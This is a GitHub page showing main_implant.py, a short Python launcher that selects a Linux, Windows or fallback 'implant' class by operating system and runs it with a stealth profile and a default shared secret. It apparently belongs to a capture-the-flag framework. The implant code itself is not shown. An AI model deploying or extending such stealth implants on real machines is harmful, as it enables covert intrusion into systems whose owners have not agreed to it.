-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain_implant.py
More file actions
24 lines (23 loc) · 820 Bytes
/
main_implant.py
File metadata and controls
24 lines (23 loc) · 820 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import os
import platform
import sys
from implants.base_implant import BaseImplant
from implants.linux_implant import LinuxImplant
from implants.windows_implant import WindowsImplant
from config.profiles import CTF_PROFILES # Assuming importable
if __name__ == '__main__':
profile = sys.argv[1] if len(sys.argv) > 1 else 'stealth'
config = {
'shared_secret': os.getenv('GG_SECRET', 'ghostgraph-secret'),
'profile': profile,
'stealth': True,
'stealth_level': CTF_PROFILES.get(profile, {}).get('stealth_level', 'medium')
}
system = platform.system().lower()
if system == 'linux':
implant = LinuxImplant(config)
elif system == 'windows':
implant = WindowsImplant(config)
else:
implant = BaseImplant(config) # Fallback
implant.run()